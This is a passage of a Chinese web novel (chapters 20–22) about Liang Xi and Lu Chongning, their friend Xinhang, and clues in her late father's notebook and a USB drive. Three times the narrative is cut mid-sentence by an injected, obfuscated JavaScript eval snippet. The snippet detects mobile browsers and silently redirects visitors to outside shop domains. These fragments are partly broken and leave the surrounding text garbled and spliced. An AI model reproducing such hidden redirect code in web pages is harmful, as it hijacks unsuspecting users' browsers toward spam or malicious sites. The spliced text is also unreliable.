梁喜一愣,是吗?当时她着急弥补那几个笔筒,压根没注意到这一层。
......
公司事忙完,路崇宁又去项目上忙,公司其他同事都准备要下班的时候梁喜又折返回来。
人家客气,她也不能差事儿,赶回工作室翻出三个新笔筒,这次包得更严实一点,为表歉意,特地送了一个。
梁喜没联系路崇宁,也没找阿布,直接敲开董事长办公室的门,说明来意后刘俊华让她把其中一个笔筒放到书架上,说送的那个正好给他。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240589|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
书架上虽然有很多书,但类型比较杂,更像一种......梁喜不知道自己的感觉对不对,这些书应该都是摆设,用来充门面,说句不好听的,老板可能一本都没读过。
放下笔筒,梁喜被其中一本黄色硬壳的书吸引,《大唐西域记》,这本书的风格在所有书里独一份,梁喜一直对古代历史,尤其是汉唐比较感兴趣,看到这本直接走不动步。
“刘总,我能看下吗?”
梁喜指过去,想拿又不敢拿的样子。
“当然可以。”
书很厚,也很有质感,虽然是2014年发行的,但保存得不错,梁喜翻开,看见首页撰者那里写着:(唐)玄奘辩机。
梁喜上大学的时候看过一个叫《玄奘之路》的纪录片,里面提到过辩机,他是玄奘的高徒,后因与高阳公主的私情而被腰斩,死于非命,令人唏嘘。
“我都不记得我有这本书,你要是喜欢送你了,看完不用还我。”
梁喜合上,“我就是看看。”
她刚要往回送,被刘俊华拦住,“没事,拿去吧,一本书而已,放我这也是落灰。”
“......谢谢刘总。”
既然对方诚心送,梁喜欣然接受。
......
晚上下班把书拿回家,梁喜洗完澡躺进被窝看,越看越入神,完全没注意路崇宁站在门口。
“喜喜。”
没人回应。
路崇宁抬高音量,“喜喜。”
梁喜这才往左移动,隔着书露出一只眼睛给路崇宁,他刚洗完澡,正拿毛巾擦头发,整个人看起来很清爽。
“干嘛?”语气平平。
“看什么呢?”
“看书。”
她最近废话真是越来越多了。
路崇宁进屋坐到床边,梁喜只觉忽悠一下,视线飘忽。
他把书拽过去看了一眼封面,随即眉头皱起,“这么多年还喜欢看这个。”
抢回书,梁喜说:“那是,我多专一。”
这句话仿佛意有所指,她猛地抬头,撞上路崇宁笔直的目光,他眼里有梁喜好看的脸,也有无法言说的话,可对视几秒后却起身走了。
美妙终止,却无限回味,梁喜把书盖在脸上,遮挡嘴角无法抑制的笑意。
......
次日中午,路崇宁在食堂碰到前来吃饭的刘俊华,老板和员工吃的东西一样,每次他都坐在角落一个人吃,今天却坐到路崇宁对面。
“我发现公司只有你和我吃饭是一个人哈。”
路崇宁环视一圈,好像是的。
“梁喜是你女朋友吗?”
路崇宁嚼饭的动作倏然停下,他没想到刘俊华问得这么直接,“刘总,她是我妹。”
“妹?”
刘俊华想起来了,路崇宁以前的确跟他讲过有个妹妹,“啊,不是女朋友就好。”
见路崇宁一头雾水,刘俊华放下筷子,喝了口汤,又擦擦嘴,好似在酝酿长篇大论。
“我年长你一些,别嫌我唠叨,咱俩相识好几年了,我知道你很上进,以后前程不会差,所以别在一些小门小户的姑娘身上浪费时间,有些事可能你现在不明白,但我是过来人,说的话都是经验之谈,绝不会害你。”
路崇宁低头,“我也是小门小户,而且我不会和我不喜欢的人结婚。”
刘俊华笑得意味深长,“过两天,过两天找时间咱俩吃个饭,今天就不细聊了。”
“行,刘总,随时。”
刘俊华想起什么,又说:“回头我跟做黑陶那个师傅说一下,定这么多东西要给你妹提成。”
“刘总,我就是因为这个,怕你多想才没好意思说。”
“跟我客气什么,再说都是你妹应得的。”
今天中午的饭吃得有点噎......本来公司就有人议论过路崇宁,说他是关系户,眼下和老板一起吃饭,关系户的传闻更加坐实。
吃完饭,他回办公室背单词,一点半上班前他还有四十分钟自己的时间。
刚拿出单词本,他接到梁喜发来的照片。
是个烟灰缸,黑陶做的。
第一句,“这个送你。”
第二句,“给你和信航一人做了一个。”
他以为是唯一,结果不是。
“谢谢。”
过很久路崇宁打出这两个字。
20. 第二十章
路崇宁回来一个多月了,周末经常加班,在家时间不多,就算不加班也会出门,梁喜不知道他整天忙些什么,又不好意思直接问,只得像之前一样,从信航身上下手。
休息日,梁喜给信航发信息,“今天忙吗?晚上一起吃饭吧。”
他回得倒快,“好啊,咱仨好久没聚了,想吃啥?我去接你俩。”
“路崇宁忙,六点半我直接去崔影那等你。”
“收到。”
梁喜皱眉盯着“收到”两个字,果然体制内的人和他们这群社会闲散人员不一样。
今晚难得店里人不多,崔影特意给梁喜留了一个靠窗位置,信航比梁喜到的早,正跟服务员小男生瞎贫呢,好像讨论什么游戏。
梁喜在店外就看到他了,进屋直奔里头,“到半天了吧?”
信航抬头,眼前一亮,“呀!跟我吃饭穿这么漂亮。”
粉色吊带短裙,黑色针织外搭,绑带高跟鞋,这是梁喜最近穿得最好看的一次,也难得有点鲜艳颜色。
她呲牙笑笑,坐下把包扔一边,“点菜吧。”
“上次咱们试的那个章鱼不错,来一个,剩下的你点。”
“行。”
来的次数多了,梁喜连菜单也不看,盲点了四个菜,两人吃绰绰有余。
信航给她倒大麦茶,“怎么想起找我吃饭了?”
“不乐意啊?”
“当然乐意,我就是感觉你有事呢。”
“吃不吃?”
“吃......”
信航倒茶时小心观察梁喜神色,“是不是和小宁吵架了?”
“吵什么,我都见不着他人影。”
“工作那么忙啊?”
梁喜摇头,“不知道,他没跟你说吗?”
“我也忙,好几天没聊了,前段时间他说要考日语一级,可能下班后找地方学习呢吧。”
梁喜端起茶杯,喝口茶润润嗓子,她确实在路崇宁桌上看到过语法书,但没听说他要考级。
“对了。”信航把手机递给梁喜,“我拍的烟灰缸,同事都问我哪买的,我说你给我做的,他们可羡慕了。”
梁喜接过手机,“给你烟灰缸不是纵容你抽烟,是让你留个纪念,戒烟前都可以用。”
“这么关心我,唉,让你失望了,我一忙案子不抽烟不行,不过我有个问题啊,给我的烟灰缸为什么刻你的名字?”
梁喜扬头,“因为是我做的。”
“完全没有说服力。”
“憋着。”
信航闭嘴。
梁喜将照片放大,看见烟灰缸摆在信航办公桌上,里面横七竖八堆满烟头,她不禁想起路崇宁那个,和信航的差不多,也堆满了烟头,不过他每隔几天自己会清理一次。
忽然一条信息进来,显示发信的人是路崇宁。
“信航!帮我搬下东西呗。”
“来了!”
信航被崔影喊走,梁喜还手机的手又缩回来,她点开信息,看见路崇宁问:“喜喜和你在一起吗?她没回家。”
梁喜转头,信航跟崔影去门外了,她快速点开聊天记录,搜索“喜喜”,出来的内容很多,其中最高频率的一句话是:“替我问候喜喜。”
时间来自路崇宁出国那五年,每一段聊天最后都有这句话,直到他回国后不再出现,翻了几页,梁喜只觉心跳加快,面红耳赤,这几年所有积聚的不甘仿佛一瞬被打碎,反倒让她感觉亏欠。
可是这么多次的问候信航竟然一次没提过,为什么?梁喜想起路崇宁刚回来那晚她质问他“不联系,问也不问”时路崇宁的表情,那时他应该就了然怎么回事,可他一个字都没辩解,更没拆穿信航。
应该告诉我的......不管是他俩中的哪一位,只要一个人说了,梁喜也不会像现在这样难受。
怕信航突然回来,梁喜赶紧把信息标记未读,手机返回到主界面,放到茶杯旁边,假装无事发生一样起身去找崔影,刚走到门口只见信航搬了两箱酒进屋,放到角落。
“多亏你帮忙,今天我请客啊!”崔影说。
“客气啥,小事。”
信航笑笑,揽过梁喜肩膀回座位。
“再搂我信不信把你废了!”
“你跟一个练跆拳道的说这种话有点不自量力了吧?”
“你得活着才能威胁到我不是吗?”
信航瑟瑟发抖......
虽然梁喜表面和信航若无其事地聊天,但心里埋下一个疑影,因为路崇宁那些话。
信息是偷看的,所以梁喜不能挑明,即便挑明,她有什么权利责怪信航呢......
“路崇宁给你发信息了。”
“他说啥?”
“我没看。”
信航拿起手机,只打几个字又放下,“我告诉小宁咱俩吃饭呢。”
梁喜没理,给自己倒茶喝。
“要叫他吗?”
“不要,跟你吃饭香。”
信航有点受宠若惊,“夸我?”
“当然。”
他伸手要弹梁喜脑袋,被她躲开。
几道菜上来,梁喜吃得头也不抬,不知是胃口好还是菜好吃。
“喜喜。”
“嗯?”
“你好像被饿死鬼附身了,别撑着。”
“撑着也不用你送我回家。”
“让小宁来接你啊?”
梁喜神情一滞,“我自己有脚。”
“大小姐真懂事。”
崔影忙完,端着一份两人没点的菜过来,“尝尝,我新研究的。”
梁喜拿话点她,“你要是上学那会儿有这劲头,清华北大都不在话下。”
信航盯着菜里的原材料,拿筷子扒拉两下,“辣白菜炒鸡蛋?”
“嗯!”崔影双眼放着自信的光芒,“尝尝,很好吃。”
信航尝了一口,味道不错,他又夹了两筷头拌进饭里,用勺子舀着吃。
晚饭结束,梁喜被信航送回去,从车上下来,她第一眼望向面馆,老板正在门口抽烟,看来店里不忙。
“我送你上楼。”
信航锁车,走到梁喜身边。
“不用,你快回家吧。”
“你以为我真想送你啊,我去看看小宁。”
这下梁喜没法再拒绝。
......
走到楼下,往前二十米就是自家单元门,梁喜远远看一眼楼上,客厅没开灯。
“路崇宁应该没在家。”
梁喜意思是让信航送到这为止。
“跑哪野去了?”
他脚下没停,一路跟梁喜走,突然头顶传来一声清脆,梁喜熟悉这声音,打火机翻盖,点火,火苗蹿出来的一瞬,她和信航一起仰头,看见一个男人趴在窗边,指尖火星一明一灭,夜色下的脸虽不清晰,但不难分辨,是路崇宁。
刚过来还是站那有一会儿了?
“小宁!”
火星随着路崇宁摆手而闪动,“上来说。”
等梁喜和信航走进单元门,路崇宁依然趴在窗边,望着对面楼顶的月光,皎洁,清冷。
他用力裹口烟,味道太冲,以此驱赶脑子里梁喜和信航并肩散步的画面。
上楼进屋,梁喜漂亮的打扮让路崇宁明显一愣,而更意外的是她罕见对路崇宁笑了笑,把他笑得直发毛。
“你俩聊吧,我去洗漱。”
梁喜说完回屋换衣服,洗手间门关上,水声盖住了外面的说话声,等她再出来的时候路崇宁和信航都不见了。
......
街边,信航将两面车窗都摇下,接过路崇宁给的烟和打火机,“你晚上是不是没吃饭?我带你再出去吃点啊?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14253323|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“吃了,家里有剩饭剩菜。”
信航有点过意不去,但去崔影那吃饭是梁喜单独找的他,所以不好说什么。
“你做的吗?”
“喜喜。”
“她......还能做饭啊?”
信航本来想说“她还给你做饭?”,但到嘴的话生生换成了别的。
“味道不错,改天你有空过来尝尝。”
路崇宁真心夸奖。
“吃完之后身体没啥反应吧?”
“目前没事。”
微笑伴着短暂的沉默过后,路崇宁问:“之前你跟我说的那个吴青,是本地人吗?”
信航扭头,看向路崇宁的眼神一下变得复杂,“怎么问这个?”
“闲的,随便问问。”
信航知道路崇宁绝非随便问问那么简单,于是随口一答:“他家在化城下面一个镇。”
“上班还是做生意?”
“我不能告诉你,单位有纪律。”信航说完拍了下路崇宁大腿。
因为不想让路崇宁掺合进来,所以他只能找借口。
“纪律”二字像一把锐利的板斧,拦断路崇宁接下来所有想说的话......
他不能问,但信航可以,“好端端的打听他干嘛?你是不是放不下梁叔的事?”
“没有。”
“跟我还不说实话。”
路崇宁来回倒手里的打火机,“闲得没事,想起这茬了。”
信航问不出,只得换个思路,“那好,既然你不说,那我先把我想起来的告诉你。”
“什么?”
“梁叔死前半年,突然把酒戒了,连喜喜都不知道。”
戒酒?倒打火机的手停住,“你爸跟你说的?”
信航摇头,“不是,梁叔只喝一个牌子的啤酒,半年前我给他买过一次,放冰箱了,但他死的时候那些啤酒原封不动还在冰箱里,我放的我知道,当时最外面一罐有磕碰痕迹,我怕打开会溢出来,就往里挪了一行,梁叔死后我去家里帮着忙活,打开冰箱拿水时发现啤酒没动,又去他买酒的店里问过,老板说梁叔有半年没去了。”
喝了这么多年突然戒掉,而且这么有毅力,是有些不正常,何况连梁喜都不知情,路崇宁一时想不出为什么,只是......磕碰痕迹?往里挪了一行?这些情景他有点眼熟,如果没记错的话,梁喜喝的啤酒其实就是梁辰义迟迟没动的那批。
信航见他面色沉重,岔开话题聊别的,“新公司怎么样?领导对你好吗?同事好不好相处?”
“私企都差不多。”
信航毕业就进警队了,不懂私企工作模式,但有人的地方就有纠葛,大抵套路相似。
一根烟抽完,路崇宁说:“我回去了,喜喜一个人在家。”
“回吧,改天我过来吃饭。”
......
时钟指向夜里九点半,梁喜第四次看时间,她从卧室走到门口,又从门口走回卧室,忽然意识到不停看时间是因为路崇宁没回家。
惦念得太过明显,梁喜怕露出马脚,留了玄关处的灯便回卧室。
就在她昏昏沉沉马上要睡着的时候门外有响动,紧接着听见换鞋的声音。
梁喜脑子里不禁描绘路崇宁回来的画面,再次想起他给信航发的那些话,睡意全无。
在路崇宁和信航下楼之后,梁喜在梁辰义留下的笔记本中看到了一段路召庆和杨婉仪当年的旧事,梁辰义出于什么动机用故事线的方式记录这些梁喜不得而知,但她敢肯定路崇宁对这个笔记本感兴趣完全是因为看到了他爸妈的名字。
等路崇宁洗漱完出来梁喜听到脚步声好像朝她这边过来,屏息又听了几秒,没动静,很快脚步声再次响起,直到她听到关门声。
家里随着两个人各自归位而安静下来,梁喜这才重拾困意。
21. 第二十一章
梁喜很少相信概率性的东西,比如天气预报说今天下雨的概率是百分之四十,她决定赌一把,所以没带伞。
白天还好好的,要下班前忽然阴云密布,狂风把天边的云往一个方向驱赶,看来一场大雨在所难免。
眼见同事打着伞陆陆续续走了,梁喜说不着急,再练习一会儿,她本来想等等雨会停,没想到淅淅沥沥下个没完。
七点半,梁喜看眼手机,决定打车回去,收拾好东西,准备锁门走人的时候余光瞥到墙根下有个黑影,貌似是人,她心头一惊,转过去发现竟然是路崇宁。
“你怎么来了?”
“你没带伞。”
这小子一天能掐会算。
梁喜锁好门,贴着墙根想去路崇宁那边,可面前有个水坑,她站在台阶上纵身一跃,落地后冲力让她站不稳,身子摇晃的下一秒被起身的路崇宁抱住。
雨声仿佛在一瞬消失,梁喜在这个切实的拥抱里感受到身体紧密的贴合,胜过从前任何一次......
“小心。”
雨夜里,路崇宁声音清冷,带着薄薄的湿意,落在梁喜心头,久违又珍贵。
她站定,推了一下,竟然没推开。
“路崇宁......”
梁喜叫完名字,路崇宁这才放开她。
你看着我,我看着你。
路崇宁举起手,梁喜看到一个纸船,应该是烟盒折的,他俯身将纸船放进面前水坑,被雨滴打得一摇一晃,却很坚/挺。
“你折的吗?”梁喜问。
“嗯。”路崇宁站直,“刚才等你的时候无聊瞎折的。”
“咱俩划回去啊?”
他一本正经回答,“你来掌舵。”
梁喜蹲下,身子前探仔细瞧,有雨滴浇到鼻尖,下一秒又消失了,她下意识仰头,看见路崇宁撑开了伞。
转回去,梁喜望着水坑中的纸船,喃喃说道:“我看完我爸的笔记了。”
低落的情绪如上空阴郁的云,很明显从路崇宁脸上一闪而过,他“嗯”了声,握着伞柄的手用力攥紧。
“这两年信航一直帮你留意杨姨的下落,要是有消息他一定会告诉你。”
路家出事后,路崇宁身边就没什么直系亲属了,杨婉仪有个哥哥,年轻时因工作原因派遣到国外,后来在那边定居,和家里基本不联系,父母全靠杨婉仪照料,她妈早年意外离世,她爸因为儿子不给他养老,还不管不问,被气得瘫在床上,杨婉仪失踪后没多久她爸也去世了。
其实算下来路崇宁和家里老一辈并不亲,小时候被妈妈一手带大,老人不在身边,一年见一两次,还不如和梁辰义还有信民感情深厚。
路家有钱的时候迎来送往十分热闹,后来树倒猢狲散,眼见着一个个隐身,梁辰义是路召庆唯一把儿子托付的人,也是第一个主动提出要把路崇宁接到家里的人,信民也提了,但拗不过梁辰义。
“孩子在我这你放心,我当自己儿子一样对待,你和婉仪出去躲段时间,只要人在就不怕。”
梁辰义说完这句话路召庆才放心离开,这是他们两兄弟见的最后一面,也是路崇宁和他爸妈的最后一面......
路崇宁很少提起杨婉仪,即便听大人说起他也不问,或许他在等一个答案,一个打破流言的证明,为他妈,也为自己。
梁喜伸手接雨,“怎么还不停?下起来没完没了。”
“快到雨季了。”
梁喜抿抿湿润的指尖,转身去看路崇宁,他伸手,说:“走吧,回家。”
再一再二又再三,梁喜直接搭上去站起,路崇宁手里的伞向她这边倾斜。
小学时候梁喜最喜欢下雨天去楼下玩水,梁辰义曾跟她说,有次杨婉仪带路崇宁来家里串门,他怎么叫梁喜都不回家,路崇宁就在楼下陪她,一个玩得忘乎所以,一个安静坐着看,当时邻居路过还说:“这小姑娘和小男孩儿性格好像反了。”
梁辰义说他不在乎什么反不反,孩子愿意玩就玩。
跨过一道水坑,梁喜脱离伞下,路崇宁赶快伸过去给她挡雨。
在路边拦了半天出租车,不是满客就是不停,雨滴浇湿了路崇宁一侧肩膀,梁喜觉得过意不去,可这种心情越强烈好像越打不到车,正当她烦躁至极的时候信航来电话了。
他说在二中附近办事,问梁喜下没下班,她也没客气,直接说:“你过来接一下我俩,打不到车。”
“我俩?”
“还有路崇宁。”
“等着,马上来。”
电话挂断,梁喜觉得路崇宁都听见了,但还是跟他又说一遍,“信航来接咱俩。”
“嗯。”
等待信航的几分钟里路崇宁安静得像被雨水淹没了一样,一直望着车来的方向。
梁喜把伞柄往他那边推了推,说:“淋湿了。”
伞柄又移回原位,“没事。”
梁喜没说什么,可手上还坚持,伞柄向路崇宁那边倾斜,他忽然揽过梁喜肩膀,将她推到自己身前,后背贴着前胸......
“这样行吗?”路崇宁问。
“行。”
梁喜一动不敢动,雨声扰得心乱如麻,就在她紧张得不行的时候信航终于来了,或许怕水溅到两人身上,他的车离老远就开始减速,缓缓停在梁喜和路崇宁面前。
“上车。”
声音从玻璃缝隙飘出来,被雨声消解一部分,路崇宁把车门打开,让梁喜坐后面,他坐前面。
“喜喜又加班啊?”
“没带伞,想晚点走。”
信航看一眼路崇宁,“你俩吃没?”
“没吃,你吃了吗?”
“咱仨整点饭吧,我一天没吃了,饿得直抽抽。”
梁喜掏出小包面巾纸,手伸前面,搭着路崇宁肩膀,“给。”
路崇宁刚要接,信航把梁喜的手拦回去,“你那点纸够干啥!”
说完扔给他打开的大包纸抽,“用这个,好好擦擦,别感冒。”
梁喜把退回的面巾纸塞进包里,有车坐,她烦躁的心情一扫而空,“你办案去了吗?有没有什么八卦?”
“大小姐,咱先吃饭,现在让我讲八卦相当于加班。”
没直接拒绝就是有戏,梁喜悠哉悠哉坐回去,等着一会儿听故事。
信航启动车子,顶着雨往前开,“最近工作室忙啊?”
“还行,月底要出差。”
梁喜说完,路崇宁回头看她,“去哪?”
“昆明,替我师父参加一个学术交流会。”
今天白天老王跟梁喜提起这件事,说本来周靖哲想去,老王没让,他觉得还是梁喜去比较合适,毕竟这样的机会每年都有,去年周靖哲已经去过一次了,今年让梁喜过去涨涨见识。
老王都这么说了,梁喜不能拒绝,她不是不想去,而是恐机,短途还好,长途就有点没法忍受,但昆明距离化城太远,坐飞机是最快最便利的方式,要是坐高铁,不但时间长,而且费用比飞机还贵。
“你要出差,小宁回家该没现成饭吃了,要不我去陪你住几天,反正我自己也没意思。”
梁喜刚要拒绝,路崇宁却同意了,“好啊,随时来。”
“我住喜喜那屋。”
梁喜踢了一脚主驾底座,“想都别想!”
“逗你呢,我和小宁住一屋,谁稀罕你的床。”
十字路口红灯,车子再次停下来,雨刷在车窗上扫来扫去,雨滴不知疲倦地反复洒满,这样的天气总是考验人的耐心,尤其是碰到红灯,不过三个人插科打诨,时间过得倒快。
信航提议吃大盘鸡,梁喜和路崇宁都没异议,那个店梁喜去过两次,一家人齐上阵,老板和厨师是同一个人,他老婆收银,收拾卫生,他妈帮着上菜、煮面片,偶尔放假的时候儿子和女儿也在,不过帮不上忙,在一旁写写作业,玩玩闹闹。
有次梁喜大学放寒假回来,梁辰义带她和信航过去,点了最大份,三人全吃了,并一致给了好评。
想到梁辰义,梁喜心里不太好受,到店坐下后好半天没说话,不是看手机就是喝水。
路崇宁发现她不对劲,让老板娘热了一个椰汁给她。
梁喜听见放下手机,问信航,“告诉微辣了吗?”
“告诉了。”
她和路崇宁都不太能吃,信航好一点。
“我出去买包烟。”
梁喜想起在工作室门口路崇宁用烟盒折的纸船,想象他等待的时候抽完最后一根烟,然后摆弄空烟盒打发时间。
路崇宁拿手机起身往出走,信航扭头喊道:“我车里有。”
他应该听见了,但没回应。
没一会儿大盘鸡端上来,香味扑鼻,梁喜闻着立马来了食欲,可路崇宁还没回来,她想等等。
“吃吧,小宁又不是外人,不用等。”
信航挑了几块没骨头的鸡肉夹到梁喜碗中,她吃了一块,味道依旧,还是那么好吃。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14263017|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
忽然手机来了条信息,梁喜点开,看到路崇宁说:“我有点事去朋友那,不用等我,吃完叫信航送你回家。”
这么突然,什么情况?
信航见她盯着手机愣神,问:“怎么了?”
梁喜把信息内容说了,信航朝门口张望,“行,快吃吧,崇宁肯定有急事。”
“嗯。”
嘴里的大盘鸡忽然变得索然无味。
......
化城火车站,冒雨等人的出租车排了很长队伍,一会儿九点钟有一列从省城方向过来的火车,下雨天打车人多,今天出租的生意肯定特别好。
路崇宁赶到火车站的时候雨恰好停了,他下车踩着水坑一步步往接站口走,他要接的人是高中同学,叫“孟相帆”,两人多年好友,也是路崇宁出国后除了信航以外唯一联系的人。
他刚上高中的时候,家里出事的消息不知被哪个同学到处散播,演变成各种版本,孟相帆经常出面维护,班里才没人敢拿路崇宁的遭遇说事儿,两人因此成为朋友。
九点十分,路崇宁在出站口看到一个熟悉的身影,皮肤黝黑,背着双肩包,直奔路崇宁过来。
“你那大高个儿,不招手我也能看见。”孟相帆拍拍路崇宁肩膀,“好久不见,兄弟。”
路崇宁看着一脸胡子拉碴的孟相帆,差点认不出,“你又去哪野了?”
“川西,爬雪山来着,你头发剪这么短呢。”
“凉快。”
孟相帆毕业后在深圳做了两年程序员,被裁员后心情郁闷,出去旅行一圈,没想到就此爱上滑雪,现在是一名户外博主,一阵在南极,一阵在北极,满世界跑,但不管他去哪里,都会拍一张最满意的照片发给路崇宁,像是在弥补他没法继续的爱好。
没错,路崇宁喜欢摄影,但从他卖掉第一部相机之后他的人生便就此和摄影告别。
“把包给我。”
路崇宁伸手要接孟相帆背后巨大的双肩包,他躲开,“小意思,一点都不沉。”
“不是说明天才回吗?”
“临时没事,把火车票改签了。”
站外,出租车司机开始吆喝着揽客,两人随便选了一辆,上车后路崇宁问孟相帆,“饿不饿?先去吃饭吧,想吃什么?”
“啥都行,我现在是铁胃,在雪山上啃梆硬的面包练出来了。”
孟相帆身上带着一股自由的风,路崇宁和他说话都感觉轻松许多。
“去吃面吧。”
上车饺子下车面,不知从哪一辈传下来的习惯,反正身边人都这么说。
孟相帆拍拍肚子,“行啊,我能炫两碗。”
司机师傅适时搭话,“城建家园楼下有家面馆,可好吃了。”
孟相帆看向司机,“你也知道那家店啊,我们上学时候总吃。”
“二中念的吗?”
“对。”
“哎,现在换老板了。”
司机语气比刚才低落,孟相帆问怎么了,他说:“原来的老板得了癌症,估摸累的,我就没见他休息过。”
“行,去那吧。”路崇宁说。
司机打转向往面馆开。
十五分钟后抵达面馆,老板虽然换了,但味道差别不大,孟相帆跟外地逃难回化城一样,连吃两碗面,外加一个卤蛋,大半盘拌菜也进了他肚子。
吃完出来,路崇宁问他住哪,孟相帆家在化城旁边一个镇,现在回去要半夜了。
“先找家咖啡馆,我帮你把u盘解开。”
路崇宁挠挠头,“你提前回来,我没带。”
孟相帆差点忘了,“没事,明天再说,我随便找个地方住。”
说完他拍拍背包,“我有睡袋,在公园、在大街都睡得着。”
路崇宁掏出手机,“我给你在我家楼下订一间,跟我走。”
他步子大,孟相帆快走两步跟上,“崇宁,你是不是出什么事了?”
“没事。”
“你发小信航不是警察吗?u盘的事你不找他......”
自从孟相帆认识路崇宁,总觉得他心里装着不少事,而他的过去就像一张质感十足的纸张上画满虚妄的线,现在变得更让人捉摸不透。
路崇宁知道孟相帆想说什么,“放心,我没做违法的事。”
梁辰义如此费尽周章,如果只留下钱或者银行卡密码,大可直接给梁喜,所以一定是别的东西。
起码与路崇宁有关。
22. 第二十二章
雨水在第二天持续,早上梁喜起床看见外面还在下,从鞋柜拿出和在工作室那双一模一样的黄色雨靴,一共买了两双,分别放在家里和工作室。
昨晚路崇宁回来得晚,今早梁喜起床时他又走了,梁喜打包的大盘鸡在桌上完全没动,她闻了闻,没坏,赶紧放冰箱。
下楼撑伞,梁喜拨通路崇宁电话,“上班了吗?”
“没有,在外面办点事。”
他那头很安静,梁喜刚要问他晚上回不回家吃,忽然听见电话里有人喊“小宁”
“我先挂了,一会儿打给你。”
路崇宁急匆匆挂断电话,还有昨晚他走得也很急,没说去哪,加上回来这段时间经常不着家,梁喜预感不太好。
几滴雨被风吹到脸上,她猛然想起昨晚和路崇宁之间那个轻轻的拥抱,回味悠长,后劲十足,她不禁抖了下,裹紧外套往公交站走去。
......
好如居宾馆内,孟相帆轻易就解开了u盘,他起身让路崇宁坐,“你慢慢看,我出去买点东西。”
“嗯。”
孟相帆故意躲出去,多年朋友,这点默契还是有的。
门关上,路崇宁点开文件夹,看到几张图片,里面全是手写内容,纸张纹理和三叔交给梁喜的笔记本几乎一样,字迹也来自梁叔本人......
路崇宁猜测这几张纸是笔记本缺失的部分,当时看笔记的时候他发现有个别地方内容不通顺,线绳也有松动,以为时间久了线绳松动很正常,现在看来多半是缺页的缘故。
想到这,路崇宁先把图片保存到手机里,再打开图片来看。
走出宾馆,孟相帆想找点吃的,昨晚的面条早消化完了,他现在腹中空空,能干掉一头牛。
刚走出十几米,擦肩而过一个女孩儿,孟相帆觉得眼熟,等认出来的时候人已经上了公交车。
没有整头牛,孟相帆买了牛肉馅包子,在店里吃完,他又外带了几个还有豆浆返回宾馆。
开门进屋,他说:“我刚才看见梁喜了,真漂亮。”
路崇宁情绪不好,闷头坐在椅子上想事,面前的烟灰缸堆着几个烟头,全是他抽的。
见没人接话,孟相帆把早餐放在路崇宁跟前,“怎么了?不舒服啊?”
路崇宁掐灭烟,说:“我先去公司了,晚点给你打电话。”
“包子不吃啦?排骨豆角,老香了!”
声音被关在门里,孟相帆知道路崇宁一定遇到了什么事,他想给信航打电话问问,可犹豫再三,最后没拨。
......
今天老王来得早,上午梁喜给花瓶雕刻的时候他在旁边指点好一会儿,弄得口干舌燥,下楼喝茶去了。
他一走,周靖哲说:“还是喜喜最招师父喜欢。”
梁喜一头雾水,“嗯?”
“我当学徒的时候师父总骂我。”
梁喜笑笑,“我以前也挨骂,都一样。”
周靖哲并没有被安慰到,“这次去昆明学习,师父也派你去了,以后你就是咱们工作室的IP形象,等黑陶火到大江南北,你也能出名一把。”
这段话可把梁喜吓着了,“别,我嘴笨,别影响老王事业版图。”
说完继续干活,她正在雕的这个花瓶方中透圆,圆中蕴方,非常考验功底,她练了很久,终于在老王的指导下弄出点样子,期间周靖哲时不时跟她聊天,总打断思路,梁喜又不好意思说他什么,要不然进度条不会这么长。
......
午休,梁喜端着餐盒在后院吃,二中马上放暑假了,操场上很少能看见学生闲逛,想不想学习都得在屋里憋着。
快吃完的时候路崇宁发来信息,说晚上来接她,梁喜只回了个“嗯”,不咸不淡......
谁让他昨晚不明原因搞失踪来着。
下午忙,梁喜把这茬忘了,下班看见路崇宁站在门前还愣了一下,和他一起的还有一个男人,梁喜觉得有点眼熟,准确说是对他的胡子眼熟,特征实在明显,今早貌似在哪见过。
“哈喽,梁喜!”
孟相帆招手笑笑,梁喜没动,状态有点蒙。
“不认识我啦?”
“呃......”应该是路崇宁的朋友,梁喜脑子里蹦出一个人名,“任盈盈?”
孟相帆眼前一黑,“任盈盈不是追崇宁那学妹吗?我是男的,你再好好想想。”
路崇宁低头要在梁喜耳边提醒,她倔劲上来,拨开路崇宁脑袋,“不用,我肯定能想起来。”
五秒钟过去了,梁喜在心里连续否定三个一闪而过的名字......
“孟相帆。”到底还是由路崇宁来介绍。
梁喜把名字重复念一遍,孟相帆这才看到光亮,“就是我,鼎鼎帅的我。”
一些画面从梁喜眼前闪过,路崇宁高中的时候的确有个好朋友,梁喜和他远远打过招呼,那会儿他又瘦又青涩,跟现在区别挺大的。
“不好意思,我记性不好。”
“没事,你啥时候回来的?”
“前段时间,你呢?”
“我刚回来,本来我每年春天都回来一趟,去路崇宁家帮他种向日葵,杨姨不是喜欢向日葵嘛,今年春天他说不用了,我就没回。”
